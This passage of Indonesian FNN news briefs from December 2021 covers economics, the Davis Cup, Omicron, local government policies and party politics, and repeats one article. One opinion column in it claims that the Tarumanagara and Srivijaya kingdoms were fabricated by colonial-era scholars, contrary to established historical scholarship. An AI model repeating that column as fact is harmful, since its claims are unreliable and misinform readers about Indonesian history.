lokal sekolah sebagai pembelajaran vokasional. (mth)

Menteri BUMN Berharap Festival Diskon Nasional Putar Roda Perekonomian

Jakarta, FNN - Menteri BUMN Erick Thohir berharap Festival Diskon Nasional 2021 dapat ikut memutar roda perekonomian nasional. "Harapannya inisiatif ini dapat ikut memutar roda perekonomian dan menghadirkan optimisme bagi para pelaku usaha di Indonesia, serta masyarakat luas dalam rangka pemulihan ekonomi nasional," ujarnya dalam pembukaan Festival Diskon Nasional secara daring di Jakarta, Sabtu. Menteri BUMN menambahkan setelah penyelenggaraan festival serupa pada 2020, Kementerian BUMN kembali berkolaborasi mengadakan Festival Diskon Nasional tahun ini untuk menggerakkan geliat perekonomian Indonesia bangkit kembali. "Festival Diskon Nasional adalah ajang yang bertujuan untuk mendorong daya beli konsumen, dengan berbagai diskon menarik yang ditawarkan oleh para merchant produk UMKM lokal berkualitas," katanya. Festival Diskon Nasional Tahun 2021 ini akan diselenggarakan di Jakarta, dengan tagline #JAKARTAPUNYADISKON. Acara ini diharapkan menjadi wadah yang membuka kesempatan untuk merayakan kolaborasi, melalui festival belanja dan diskon khusus untuk produk lokal buatan Indonesia sebagai Gerakan Nasional Bangga Buatan Indonesia (Gernas BBI). "Saya mendukung penuh Gernas BBI, khususnya dalam acara yang kita lakukan secara bersama-sama pada hari ini. Mari kita dorong berbelanja meningkatkan tentu daya beli, selama periode tanggal 1-31 Desember 2021," kata Erick. Dikutip dari laman festivaldiskonnasional.com, festival diharapkan menjadi wadah yang membuka kesempatan untuk merayakan kolaborasi melalui festival belanja dan diskon, sekaligus sebagai bentuk selebrasi kolaborasi yang akan menghidupkan roda dan pertumbuhan ekonomi di Indonesia. Festival Diskon Nasional akan dimeriahkan dengan beragam kegiatan seperti program Flash Sale, Pop, Virtual Expo, Bazaar UMKM, Live Shopping, FDN Market, dan Pop Up Store. (mth)

Kroasia Singkirkan Serbia untuk Melaju ke Final Piala Davis

Jakarta, FNN - Kroasia melaju ke final Piala Davis setelah Nikola Mektic dan Mate Pavic mengalahkan Novak Djokovic dan Filip Krajinovic 7-5, 6-1 dalam pertandingan ganda yang menentukan untuk kemenangan mantan pemenang turnamen tersebut 2-1 atas Serbia, Jumat waku Madrid atau Sabtu WIB. Kroasia akan berhadapan dengan Jerman atau Federasi Tenis Rusia setelah keduanya bertarung di semifinal besok. Borna Gojo membawa Kroasia unggul dengan kemenangan 4-6, 6-3, 6-2 atas Dusan Lajovic pada pertandingan pembuka sebelum Djokovic membuat kedudukan imbang saat dia menepis Marin Cilic 6-4 6,-2. Masuknya Krajinovic di akhir pertandingan merupakan langkah mengejutkan dari kapten tim Serbia Viktor Troicki, yang tidak memasukkan spesialis ganda tim Nikola Cacic. Serbia menahan diri melawan pasangan nomor satu dunia Mektic dan Pavic di awal tetapi Krajinovic tersendat di gim terakhir set pembuka, saat dia kehilangan servis ketika Mektic melepaskan pukulan forehand. Pergerakan superior Mektic dan Pavic membuat perbedaan kelas mereka terlihat di set kedua saat pemain Serbia gagal mengimbangi permainan mereka setelah awal yang cerah. "Ini adalah kemenangan besar melawan tim tangguh," kata Pavic, dikutip dari Reuters. "Kami sangat senang berada di final dan kami siap." Mektic menambahkan, “Novak menunjukkan alasan mengapa dia adalah pemain terbaik di dunia tetapi ada empat orang di lapangan di nomor ganda dan kami memainkan pertandingan yang luar biasa." "Mereka melakukan servis dengan sangat baik di set pertama, tetapi kami memanfaatkan level mereka yang sedikit menurun di set kedua." Gojo menempatkan Kroasia memimpin ketika dia mengalahkan Lajovic setelah pertarungan luar biasa yang memberi peringkat 279 dunia itu kemenangan ketiganya dari kompetisi tahun ini menghadapi lawan yang berperingkat lebih baik. Lajovic, peringkat 33 dunia, tampak berada di atas angin ketika dia bangkit untuk merebut set pembuka saat dia bangkit dari ketertinggalan 4-2, tetapi petenis Kroasia berusia 23 tahun itu tidak terpengaruh dan membalikkan keadaan dengan tegas. Gojo memimpin 3-0 di set kedua, dan setelah mematahkan servis untuk memimpin 4-2 setelah Lajovic membalas, dia menyamakan skor. Pertandingan berjalan satu arah di set ketiga saat Gojo terus menekan dan memimpin 4-0, memicu kegembiraan di antara para penggemar Kroasia saat dia menutup pertandingan. "Tekanan dalam kompetisi ini jauh lebih besar pada semua orang dan saya berhasil mendapatkan beberapa kemenangan besar dengan memainkan tenis terbaik saya di sini, tetapi yang paling penting adalah saya mendapat poin untuk tim," kata Gojo. Sementara itu, Djokovic yang tampil setelahnya berhasil menjaga harapan Serbia setelah menyelamatkan empat break point pada gim terakhir set pembuka. Petenis Kroasia itu menyelamatkan satu break point pada gim pembuka set kedua tetapi Djokovic meningkatkan kecepatan untuk menyingkirkan Cilic untuk meraih kemenangan tunggal ke-19 berturut-turut dalam turnamen tersebut. Namun Djokovic kemudian mengakui bahwa Serbia akan selalu kesulitan di babak penentuan. "Bermain di nomor ganda benar-benar berbeda dengan bermain di tunggal. Saya tidak banyak bermain di nomor ganda dan kami menghadapi (tim) ganda terbaik di dunia," kata Djokovic. Djokovic tidak menunjukkan tanda-tanda kelelahan melawan Mektic dan Pavic dengan servis yang menggelegar dan beberapa tembakan yang bagus, tetapi kepercayaan diri Serbia runtuh setelah mereka kehilangan set pembuka. Djokovic membanting raketnya dengan frustrasi ketika Kroasia kembali mematahkan servis pada gim keempat set kedua sebelum mereka berlari untuk merayakan kemenangan bersama para penggemar mereka. (mth)

Wapres Dorong Umat Islam Siap Hadapi Era 5.0

Jakarta, FNN - Wakil Presiden Ma’ruf Amin mendorong umat Islam untuk siap menghadapi era masyarakat pintar atau smart society 5.0 di tengah perkembangan teknologi dan digital saat ini. "Umat Islam harus siap dan adaptif menghadapi tantangan perubahan ini. Kita harus memiliki cita-cita tinggi agar kita tidak terombang-ambing dalam arus perubahan, bahkan dapat menjadi pemimpin dalam perubahan," kata Wapres Ma’ruf dalam keterangan yang diterima di Jakarta, Sabtu. Wapres mengatakan teknologi berkembang sangat cepat, sehingga momen tersebut harus dimanfaatkan untuk menciptakan kemajuan dan kesejahteraan bagi kehidupan masyarakat Dalam acara Kongres Nasional ke-41 Syarikat Islam yang diikuti melalui konferensi video, Jumat (3/12), Wapres menjelaskan bahwa perkembangan teknologi memberikan manfaat bagi pembangunan ekonomi. "Saat ini sedang terjadi perubahan yang luar biasa dalam pembangunan ekonomi, salah satunya dipicu oleh perkembangan teknologi. Dari waktu ke waktu pemanfaatan teknologi makin besar dalam kegiatan ekonomi," jelasnya. Wapres berharap sektor perdagangan di kalangan umat Islam dapat semakin meningkat dan memajukan ekonomi kerakyatan, serta sejalan dengan cita-cita Indonesia Emas 2045. "Saya berharap spirit dagang umat Islam kembali bangkit dan menjadi gerakan pemberdayaan ekonomi umat. Ini sejalan dengan visi jangka panjang menuju Indonesia Emas 2045, karena umat Islam adalah bagian terbesar dari bangsa ini," katanya. Di acara tersebut, Wapres juga berharap dapat diperoleh berbagai rekomendasi terbaik dari Syarikat Islam untuk menjawab berbagai persoalan umat, bangsa dan negara. "Saya juga berharap Kongres Nasional ke-41 Syarikat Islam ini dapat menghasilkan rekomendasi terbaik yang dapat menjadi tawaran solusi bagi kemaslahatan umat, bangsa dan negara," ujar Wapres. (mth)

WHO: Sejauh Ini Belum Ada Kematian Akibat Omicron

Jenewa, FNN - Juru bicara Organisasi Kesehatan Dunia (WHO) pada Jumat (3/12) mengatakan bahwa sejauh ini belum ada laporan mengenai kematian akibat COVID-19 varian Omicron. WHO menekankan bahwa varian Delta masih menjadi fokus dalam memerangi pandemi. Christian Lindmeier saat konferensi pers mengatakan kepada wartawan bahwa WHO masih mengumpulkan bukti tentang varian baru yang ditemukan di Afrika Selatan pada 11 November dan dinamai Omicron sekitar sepekan yang lalu. "Kami belum menerima laporan kematian terkait Omicron," kata Lindmeier. "Jangan lupa juga bahwa varian dominan saat ini masih Delta. Omicron mungkin sedang populer dan kami mungkin akan sampai ke titik di mana (Omicron) mengambil alih sebagai varian dominan." Lindmeier menuturkan bahwa dunia perlu melindungi diri terhadap varian Delta. Semenjak COVID-19 pertama kali ditemukan hampir dua tahun silam, WHO telah mengonfirmasi hampir 263 juta kasus dan 5,22 juta lebih kematian secara global. "Semakin banyak negara yang terus memburu dan terus memeriksa orang-orang dan secara khusus mencari varian Omicron, kami juga akan menemukan lebih banyak kasus dan informasi dan, semoga tidak, juga kemungkinan kematian," katanya. Setelah varian Omicron terdeteksi di Botswana dan Afrika Selatan, sejumlah negara di Eropa dan Amerika Utara pekan lalu menerapkan pembatasan perjalanan terhadap negara-negara di kawasan Afrika selatan dan bahkan melarang penerbangan. Langkah itu menuai kecaman dari para pejabat di PBB, WHO, agen perjalanan internasional dan asosiasi pekerja. "Daripada melihat penutupan perbatasan, pembatasan dan sebagainya, jauh lebih baik untuk mempersiapkan negara anda, sistem kesehatan anda atas kemungkinan kasus yang muncul", katanya. "Kami cukup yakin bahwa varian Omicron ini akan meluas. Delta juga berasal dari suatu tempat. Dan kini kami mempunyai (Delta) itu sebagai varian dominan di lebih dari 90 persen dunia." (mth)

Komnas Perempuan: SPPT PKKTP Jamin Pemulihan Korban Kekerasan Seksual

Jakarta, FNN - Komisioner Komnas Perempuan Imam Nahei menegaskan pihaknya menjamin pemulihan perempuan korban kekerasan seksual melalui Sistem Peradilan Pidana Terpadu Penanganan Kasus Kekerasan terhadap Perempuan (SPPT PKKTP). "SPPT PKKTP ini sesungguhnya memberi mekanisme bagaimana korban kekerasan seksual itu mendapatkan pemulihan sejak proses pertama penanganan kasus yang dialaminya," ujar Imam Nahei. Hal itu disampaikannya saat menjadi narasumber webinar nasional bertajuk "Kekerasan Seksual di Kampus" yang dilaksanakan secara hybrid dan disiarkan langsung di kanal YouTube Suara Asa Khatulistiwa, dipantau dari Jakarta, Sabtu. Menurut Imam Nahei, di Indonesia selama ini, pengalaman penanganan kasus kekerasan, terutama kekerasan seksual terhadap perempuan sering kali mengabaikan kebutuhan korban. Pihak-pihak terkait dalam menindak pengaduan korban, lanjut dia, kerap mengabaikan dukungan pemulihan. "Selama ini, biasanya yang dikejar itu (dalam penanganan kasus kekerasan seksual terhadap perempuan) adalah pelakunya. Sementara korban, dimintai keterangan, tapi tidak mendapatkan pemulihan," jelas Imam Nahei. Oleh karena itu, ujar dia, mekanisme dalam SPPT PKKTP diupayakan untuk menjadi "payung besar" yang dapat melindungi perempuan korban kekerasan, khususnya kekerasan seksual yang semakin marak terjadi di Indonesia. Di samping itu, dalam webinar yang diselenggarakan Koalisi Muda Kalimantan Barat tersebut, Imam Nahei juga menekankan pemulihan para korban memang mendesak untuk diutamakan dalam penanganan kasus kekerasan seksual. Nilai penting itu muncul karena adanya trauma psikis jangka panjang yang mereka alami, bahkan ada yang memerlukan waktu hingga bertahun-tahun. Untuk diketahui, SPPT PKKTP merupakan wujud komitmen dari upaya Komnas Perempuan untuk menyatukan proses hukum dengan layanan pemulihan bagi perempuan korban kekerasan. Konsep ini telah dikembangkan sejak tahun 2000 oleh Komnas Perempuan bersama tiga lembaga, yaitu Lembaga Bantuan Hukum Asosiasi Perempuan Indonesia untuk Keadilan (LBH APIK) Jakarta, Convention Watch Pusat Kajian Wanita dan Jender Universitas Indonesia (PKWJ-UI), dan Lembaga Bantuan Perlindungan Perempuan (LBPP) Derap Warapsari. (sws)

Pengamat : Program Binmas Noken Papua Harus Membumi

Jakarta, FNN - Peneliti Bidang Perkembangan Politik Lokal LIPI Prof Hermawan Sulistyo menyarankan program Binmas Noken, Papua, yang dilaksanakan oleh Polri harus membumi. "Ada perbedaan jarak waktu dan jarak peradaban yang harus dipahami pihak-pihak terkait di Papua," kata Prof Hermawan dalam webinar pelaksanaan Binmas Noken 2021, melalui zoom, Jumat. Ia mengatakan, anggota Binmas yang terlibat dalam Satuan Tugas (Satgas) Binmas Noken di Papua, harus memahami adanya perbedaan jarak waktu dan jarak peradaban di Bumi Cendrawasih tersebut. Prof Hermawan mencontohkan, orang Papua bergantung hidup pada hasil alam yang diciptakan Tuhan, ketika mengambil buah Matoa yang kini banyak disukai orang-orang di luar Papua, jika tidak bisa dipanjat, maka ditebang pohonnya. Bagi masyarakat di luar Papua menilai cara orang Papua terbelakang, sementara cara pandang orang Papua hal itu tidak jadi soal karena masih ada pohon Matoa lainnya. Tetapi orang Papua tidak memikirkan jika yang mengkonsumsi buah Matoa tersebut semakin banyak jumlahnya. Prof Hermawan mengkritisi beberapa program Binmas Noken yang tidak berjalan optimal di sejumlah kabupaten di Papua. Seperti program pertanian di Timika yang gagal karena salah memilih jenis tanaman. Menurut dia, perlu peran akademisi untuk membantu mengkaji jenis tanaman pertanian apa yang cocok di Papua. Hasil penelitian ini dapat dieksekusi oleh anggota Binmas Noken di lapangan. Prof Hermawan juga memberi catatan, agar petugas Polri yang ditugaskan di Papua harus mengubah sikap dasarnya, serta memiliki kemampuan teknikal. Selain itu juga, kata dia, anggota Polri hendaknya menggunakan pendekatan "Soft Approach" dalam menjalankan operasi Binmas Noken. Binmas Noken Polri merupakan Satgas Khusus di bawah Operasi Khusus Nemangkawi yang dibentuk Februari 2018. Konsep Binmas Noken adalah perpaduan kata dari konsep Binmas sebagai satuan pada fungsi operasional kepolisian dan konsep Noken. Noken, tas tradisional yang bagi orang Papua adalah simbol martabat dan perabadan serta kehidupan. Narasumber lainnya, Prof Regina T.C Tandelilin dari Universitas Gadja Mada (UGM) mengusulkan agar pembinaan Binmas Noken tidak hanya dalam bentuk pendidikan tapi juga menyertakan kesehatan. "Karena tidak mungkin pendidikan didapat apabila kesehatannya tidak baik," kata Prof Regina. Sementara itu Dr Andriana Elisabeth menyarankan perlu adanya program-program pengakuan, pemberdayaan, atau merancang pembangunan yang spesifik terhadap Papua. Menurut dia, ada dua hal penting yang bisa jadi pedoman untuk meningkatkan efektivitas Binmas Noken di Papua, yakni pendekatan sensitifitas konflik, dan korelasi pendekatan perdamaian serta pembangunan untuk mengatasi "trust gap". "Binmas Noken bisa mendukung keterlibatan OAP secara khusus, masyarakat Papua di daerah menjadi pelaku-pelaku yang bisa melakukan kerja, bisa bekerja maksimal dan menggali potensinya," kata Andriana. Turut hadir dalam webinar ini, Brigjen Pol Ramdani Hidayat dari Satgas Binmas Noken, Prof Chryshnanda Dwiklaksana, serta para kapolsek yang merupakan Satgas Binmas Noken di Papua. (sws)

Pemkot Depok Larang ASN Keluar Daerah Selama Natal dan Tahun Baru 2022

Depok, FNN - Pemerintah Kota (Pemkot) Depok Jawa Barat mengeluarkan Surat Nomor: 800/4851-BKPSDM terkait larangan pembatasan kegiatan berpergian ke luar daerah bagi pegawai Aparatur Sipil Negara (ASN) selama periode Hari Natal dan Tahun Baru 2022. "Larangan tersebut terhitung sejak 24 Desember 2021 hingga 2 Januari 2022," kata Kepala Badan Kepegawaian dan Pengembangan Sumber Daya Manusia (BKPSDM) Kota Depok, Novarita dalam keterangannya, Sabtu. Nova menjelaskan larangan berpergian ke luar kota dikecualikan bagi pegawai ASN yang bertempat tinggal dan bekerja di instansi yang berlokasi di dalam satu wilayah aglomerasi yang akan melaksanakan tugas kedinasan di kantor seperti contohnya wilayah Jabodetabek. Aturan larangan berpergian ke luar kota juga dikecualikan bagi pegawai ASN yang melaksanakan perjalanan dinas ke luar daerah dalam rangka pelaksanaan tugas kedinasan yang telah memperoleh surat tugas dan ditandatangani oleh minimal pejabat pimpinan tinggi pratama atau kepala kantor satuan kerja. Atau pegawai ASN yang dalam keadaan terpaksa perlu untuk melakukan kegiatan berpergian ke luar daerah pada periode tersebut dengan terlebih dahulu mendapat izin tertulis dari pejabat pembina kepegawaian. "Pembatasan cuti, pegawai ASN tidak diperkenankan untuk cuti pada tanggal-tanggal selama periode Nataru yaitu sejak 24 Desember 2021 hingga 2 Januari 2022," jelasnya. Cuti dapat diberikan bagi ASN yang cuti melahirkan dan atau cuti sakit dan atau karena alasan penting bagi pegawai ASN. Lalu, cuti melahirkan dan atau cuti sakit bagi Pegawai Pemerintah dengan Perjanjian Kerja (PPPK). "Apabila terdapat pegawai ASN yang melanggar hal tersebut, maka yang bersangkutan diberikan hukuman disiplin sebagaimana diatur dalam Peraturan Pemerintah Nomor 94 tahun 2021 tentang Disiplin Pegawai Negeri Sipil dan Peraturan Pemerintah Nomor 49 tahun 2018 tentang Manajemen Pegawai Pemerintah dengan Perjanjian Kerja," ujarnya. (sws)

Pemkab Bangka Berencana Naikkan Insentif Kepala Lingkungan/RW

Sungailiat, Bangka, FNN - Pemerintah Kabupaten Bangka Provinsi Kepulauan Bangka Belitung pada anggaran 2022 berencana menaikkan insentif kepala lingkungan atau setingkat Ketua RW di daerahnya sebesar Rp200 ribu per bulan atau menjadi Rp1 juta per bulan. Bupati Bangka Mulkan di Sungailiat, Sabtu mengatakan, kenaikan Rp200 ribu per bulan untuk insentif kepala lingkungan dari sebelumnya Rp800 ribu menjadi Rp1 juta per bulan sebagai upaya pemerintah daerah membantu meningkatkan kesejahteraan kepala lingkungan. "Kenaikan insentif sebesar itu disesuaikan dengan kemampuan anggaran daerah yang di masukan dalam dokumen pelaksanaan anggaran kecamatan masing - masing," jelasnya. Kenaikan insentif dengan besaran yang sama juga diberlakukan seluruh Ketua RT di Kabupaten Bangka dari Rp400 ribu per bulan menjadi Rp600 ribu per bulan. Kepala lingkungan atau setingkat RW dan RT berada pada fungsi garda terdepan sebagai ujung tombak pelayanan sekaligus membina kerukunan masyarakat, karena bersentuhan langsung dengan warganya. Seorang ketua RT dan RW menjadi pengendali pembangunan di sekitarnya, melakukan pengawasan pembangunan di lingkungannya, menggali aspirasi warga untuk disampaikan dalam musyawarah perencanaan pembangunan dengan mempertimbangkan skala prioritas pembangunan yang diperlukan serta menggali swadaya warga masyarakat dalam rangka kegiatan kemasyarakatan. Sementara Kepala Lingkungan Parit Pekir Sungailiat M Rozi berpendapat kenaikan insentif Rp200 per bulan dari pemerintah daerah dapat menjadi motivasi meningkatkan kinerja bagi kepala lingkungan dan ketua RT. "Saya berharap kenaikan insentif dapat dilakukan pemerintah daerah setiap tahunnya bahkan setidaknya sama dengan pendapatan insentif seorang RT atau kepala dusun di tingkat desa yang jumlahnya lebih besar," ujarnya. (sws)

Pemkab Aceh Barat Sudah Ajukan Qanun Pilkades ke DPRK

Meulaboh, Aceh, FNN - Bupati Aceh Barat, Provin si Aceh, H Ramli MS mengatakan pemerintah daerah setempat telah mengajukan Rancangan Qanun (peraturan daerah) Pelaksanaan Pemilihan Kepala Desa (Keuchik) kepada DPRK, guna dilakukan pembahasan di lembaga legislatif. “Sudah kita ajukan draftnya pada Oktober lalu, tapi sampai sekarang kami belum tahu apakah sudah dibahas atau belum di DPRK,” kata Bupati Ramli MS di Meulaboh, Jumat. Ia mengatakan, usulan rancangan peraturan daerah tersebut sangat penting dilakukan oleh pemerintah daerah, karena pelaksanaan pemilihan kepala desa di Aceh Barat dijadwalkan akan dilaksanakan pada Desember 2021. Selain itu, pemilihan tersebut direncanakan berlangsung di tengah pandemi COVID-19. Sehingga, kata dia, pemerintah daerah perlu mengajukan payung hukum, agar pelaksanaan pemilihan kepala desa di Aceh Barat tidak bertentangan dengan aturan hukum dan perundang-undangan yang berlaku. Meski sudah diajukan ke DPRK Aceh Barat, Ramli MS mengaku dirinya belum mengetahui secara pasti apakah draft Pilkades Aceh Barat sudah dilakukan pembahasan atau pengesahan. “Kami berharap aturan hukum Pilkades di Aceh Barat ini segera ada titik temunya, sehingga masyarakat bisa segera memilih calon kepala desa secara demokratis, jujur dan adil,” kata Ramli MS. (sws)

Wapres Dorong Umat Islam Siap Hadapi Era 5.0

Jakarta, FNN- Wakil Presiden Ma’ruf Amin mendorong umat Islam untuk siap menghadapi era masyarakat pintar atau smart society 5.0 di tengah perkembangan teknologi dan digital saat ini. "Umat Islam harus siap dan adaptif menghadapi tantangan perubahan ini. Kita harus memiliki cita-cita tinggi agar kita tidak terombang-ambing dalam arus perubahan, bahkan dapat menjadi pemimpin dalam perubahan," kata Wapres Ma’ruf dalam keterangan yang diterima di Jakarta, Sabtu, 4 Desember 2021. Wapres mengatakan teknologi berkembang sangat cepat, sehingga momen tersebut harus dimanfaatkan untuk menciptakan kemajuan dan kesejahteraan bagi kehidupan masyarakat Dalam acara Kongres Nasional ke-41 Syarikat Islam yang diikuti melalui konferensi video, Jumat (3/12), Wapres menjelaskan bahwa perkembangan teknologi memberikan manfaat bagi pembangunan ekonomi. "Saat ini sedang terjadi perubahan yang luar biasa dalam pembangunan ekonomi, salah satunya dipicu oleh perkembangan teknologi. Dari waktu ke waktu pemanfaatan teknologi makin besar dalam kegiatan ekonomi," tuturnya, sebagaimana dikutip dari Antara. Wapres berharap sektor perdagangan di kalangan umat Islam dapat semakin meningkat dan memajukan ekonomi kerakyatan, serta sejalan dengan cita-cita Indonesia Emas 2045. "Saya berharap spirit dagang umat Islam kembali bangkit dan menjadi gerakan pemberdayaan ekonomi umat. Ini sejalan dengan visi jangka panjang menuju Indonesia Emas 2045, karena umat Islam adalah bagian terbesar dari bangsa ini," katanya. Di acara tersebut, Wapres juga berharap dapat diperoleh berbagai rekomendasi terbaik dari Syarikat Islam untuk menjawab berbagai persoalan umat, bangsa dan negara. "Saya juga berharap Kongres Nasional ke-41 Syarikat Islam ini dapat menghasilkan rekomendasi terbaik yang dapat menjadi tawaran solusi bagi kemaslahatan umat, bangsa dan negara," ujar Wapres. (MD).

Para Pencipta Kerajaan Khayal

Oleh Ridwan Saidi Prof. DR Raden Mas Ngabehi Purbotjaroko, 1884-1964 berpendidikan Belanda (foto kiri). Beliau penemu kerajaan Tarumanagara IV M dalam khayalnya. Ia telah salah menerjemahkan dua prasasti: Ciaruteun dan Batu Tumbuh, Priyuk. Arkaeolog menyebut prasasti Tugu. Mereka salah lokasi. George Coedes bapak pendiri Sriwijaya VII M. Lahir di Paris 10 Agustus 1886. Hampir sepantaran dengan Raden Purbocaroko. Coedes lahir dari pasutri berdarah Yahudi-Hongaria. Ia dianggap ahli purbakala. Aslinya ia kepala perpustakaan di Paris. Dia ragu ketika disuruh Belanda ciptakan kerajaan Sriwijaya. Akhirnya tercipta istilah kedatuan, dari kata datu atau dato. Ini kuasa adat . Muncullah kedatuan Sriwijaya. Kata Coedes Sri Wijaya di Palembang dibikin orang India dan berkuasa di Sumatera, Malaysia, dan Jawa. Orang-orang India juga sebar Budha. Catatan: 1. Migrasi perlu biaya dan cost, juga sebar agama. Apalagi bikin kerajaan,. ekonomi orang India di India tak mendukung saat itu. Baru pada XIX/XX M orang India di Medan yang disebut KELING bekerja di perkebunan, dan di JAKARTA mereka disebut BOMBAY, dan buka Toko Bombay di Pasar Baru. Ringkasnya COEDES berkhayal. India muslim sudah datang Andunisi pada XI M, mereka dari Malabar dan disini disebut Koja, artinya kaya. Wanita kaya asal Koja Fatimah binti Maimun. Makamnya di Gresik. Wafat XI M . Ulama asal Koja ahli berdebat Ustadz Ahmad Hassan, 1887-1958. Ia guru M. Natsir dan.mitra polemik Ir Soekarno. *) Budayawan

Kemenkumham Telah Buka 89 Tempat Layanan Keimigrasian Di Luar Kantor

Jakarta, FNN - Kementerian Hukum dan Hak Asasi Manusia (Kemenkumham) RI melalui Direktorat Jenderal (Ditjen) Imigrasi telah membuka 89 unit tempat pelayanan keimigrasian di luar kantor imigrasi. "Sebanyak 89 tempat pelayanan imigrasi tersebut melayani berbagai hal, di antaranya Unit Layanan Paspor (ULP), Unit Kerja Keimigrasian (UKK), dan Layanan Terpadu Satu Pintu (LTSP)," kata Direktur Kerja Sama Keimigrasian Ditjen Imigrasi Kemenkumham Agus Widjaja melalui keterangan tertulis yang diterima di Jakarta, Jumat, 3 Desember 2021. Disebutkan pula bahwa tidak semua unit pelayanan dibiayai oleh Ditjen Imigrasi sebab ada juga yang berkolaborasi dengan pemerintah daerah setempat. Selain bekerja sama dengan pemerintah daerah, Ditjen Imigrasi juga bekerja sama dengan pihak swasta untuk penyediaan tempat. Hal itu diwujudkan melalui pusat perbelanjaan seperti mal sehingga mudah diakses oleh masyarakat. Meskipun Indonesia masih dalam situasi pandemi Covid-19, pelayanan keimigrasian saat ini masih tetap eksis. Misalnya, layanan pengurusan paspor maupun izin tinggal tetap yang bisa diakses masyarakat di mal pelayanan publik. "Beberapa hari lalu telah dibuka Unit Layanan Paspor di Lippo Mall Indonesia, Cibubur Junction, Jakarta Timur," ujar Agus, sebagaimana dikutip dari Antara. Melalui keberadaan 89 tempat pelayanan imigrasi yang tersebar di sejumlah daerah tersebut, dia berharap berbagai kebutuhan masyarakat terkait dengan pengurusan administrasi keimigrasian makin mudah diakses. (MD).

Harga Cabai Di Mataram Merangkak Naik

Mataram, FNN - Harga cabai rawit di sejumlah pasar tradisional di Kota Mataram, Provinsi Nusa Tenggara Barat, merangkak naik dari Rp 28.000 per kilogram menjadi Rp 45.000 per kilogram. Kepala Pasar Induk Mandalika H Ismail yang dikonfirmasi di Mataram, Jumat, 3 Desember 2021, mengatakan, kenaikan harga cabai rawit terjadi karena memasuki musim hujan. "Stok yang dibawa pedagang tidak banyak, sebab cabai merupakan komoditas pertanian yang mudah rusak dan busuk. Jadi pedagang khawatir terhadap risiko itu," katanya, sebagaimana dikutip dari Antara. Menurutnya, kenaikan cabai rawit di Pasar Mandalika terjadi secara bertahap sejak Senin, 29 November 2021. Mulai dari harga Rp 28.000, naik menjadi Rp 30.000, naik lagi Rp 32.000 dan Jumat ini harganya menjadi Rp 45.000 per kilogram. Kenaikan harga cabai tersebut, katanya, juga mempengaruhi stok pasokan di Pasar Mandalika. Biasanya dalam sehari pasokan cabai rawit di atas satu ton. "Tapi, sekarang, pasokan cabai rawit di Pasar Mandalika di bawah satu ton," katanya. Ismail mengatakan, kenaikan harga cabai rawit ini murni karena stok berkurang akibat perubahan cuaca, bukan dipengaruhi karena masuknya perayaan Natal dan Tahun Baru 2022. "Kalau dipicu Natal dan Tahun Baru, kemungkinan kebutuhan pokok dan komoditas pertanian lainnya juga naik," katanya. Sementara, lanjut Ismail, berdasarkan data daftar harga hari ini tercatat harga cabai merah keriting masih stabil yakni Rp 20.000 per kilogram. Tapi cabai merah besar biasa turun dari Rp 23.000 menjadi Rp 22.000 per kilogram. Selain itu, harga tomat juga masih stabil yakni Rp 6.000 per kilogram, bawang merah Rp 17.000 per kilogram, dan bawang putih Rp 22.000 per kilogram. "Selain cabai, kami belum melihat kenaikan terhadap komoditas pertanian lainnya termasuk kebutuhan pokok lainnya," katanya. Sementara Kepala Dinas Pertanian Kota Mataram H Mutawalli yang dikonfirmasi terkait kenaikan harga cabai tersebut, belum dapat memberikan jawaban pasti. "Saya baru dengar ini. Informasi ini segera kami koordinasikan dengan tim dan akan turun langsung mencari tahu penyebab kenaikan harga cabai," katanya. (MD).

Pemprov DKI MRT Luncurkan Layanan Digital Bagi Penyandang Disabilitas

Jakarta, FNN - Pemerintah Provinsi DKI Jakarta bersama PT Mass Rapid Transit atau Moda Raya Terpadu (MRT) Jakarta meluncurkan layanan fasilitas digital bagi penyandang disabilitas di Stasiun MRT Bundaran Hotel Indonesia (HI). "Kami memiliki komitmen untuk memberikan fasilitas yang setara bagi seluruh warga. Sebagian dari warga kita membutuhkan pelayanan khusus, seperti saudara kita penyandang disabilitas," kata Gubernur DKI Jakarta Anies Baswedan di Stasiun Bundaran HI, Jakarta, Jumat, 3 Desember 2021. Fasilitas yang disediakan bagi penyandang disabilitas itu adalah Digital Intelligent Assistant (Dina). Melalui Dina, penumpang disabilitas dapat memanfaatkan kecanggihan teknologi di antaranya adanya teknologi panggilan melalui video atau video call. Nantinya, operator yang bertugas pada pusat operasi misalnya di Stasiun Bundaran HI bisa berkomunikasi langsung dengan penumpang penyandang disabilitas. Peluncuran fasilitas tersebut juga sekaligus memperingati Hari Disabilitas Internasional, Anies mengingatkan warga Jakarta agar menghindari sikap memiliki kelebihan di atas para penyandang disabilitas. "Semua memiliki kesetaraan, kesamaan, hanya terdapat kebutuhan yang berbeda-beda. Nah, prinsip ini yang diadopsi di Jakarta. Maka dari itu, saya apresiasi MRT yang sudah memfasilitasi," ujar Anies, sebagaimana dikutip dari Antara. Sementara itu, menurut Direktur Utama PT MRT Jakarta (Perseroda) William Sabandar menjelaskan ada tiga stasiun yang menerapkan layanan Dina, yakni Stasiun Lebak Bulus, Blok M, dan Bundaran HI. William menuturkan MRT Jakarta akan menerapkan layanan ramah disabilitas ini di seluruh stasiun. "Kami memfungsikan layanan digital yang ramah disabilitas yang kita sebut dengan nama Dina. Inisiatif ini pertama di Indonesia, dan di dunia baru ada tiga negara yang mengaplikasikan, yakni Amerika Serikat, Kanada, dan Hong Kong," tutur William. (MD).

Partai Gelora Bakal Terapkan Strategi 'O Poin O' untuk Menghadapi Pemilu 2024

Jakarta, FNN - Partai Gelombang Rakyat (Gelora) Indonesia akan menerapkan strategi 'O Poin O' dalam Pemilu 2024 mendatang, agar tidak saja bisa lolos ambang batas (parliamentary threshold), tetapi juga menghadapi pemilu. "Saya kerap ditanya wartawan apa strategi Partai Gelora, sebagai partai baru untuk menghadapi pemilu. Sebenarnya saya tidak mau buka ini, tapi agar partai baru punya cerita menang, apa strateginya? Strateginya adalah 'O Poin O'," kata Anis Matta dalam Rapat Konsolidasi Partai Gelora Dapil Bogor Raya dengan tema 'Aink Metal ' di Hotel Horison, Bogor, Kamis (2/11/2021) malam. Menurut Anis Matta, strategi 'O Poin O' tersebut akan menciptakan suara (voters) sendiri dari pemilih yang belum menentukan pilihan. Berdasarkan survei internal, 70 persen pemilih masih bingung dalam pilihan, dan 57 persennya setuju lahirnya partai baru yang mengusung perubahan. "Atas dasar survei tersebut, maka ada celah besar. Ada ruang kosong, ini yang harus kita isi. Partai Gelora hadir untuk mengisi ruang kosong," katanya. Ruang kosong yang ia maksud adalah menjaring pilihan orang yang tidak punya pilihan, suara yang tidak punya suara. Salah satu getaran 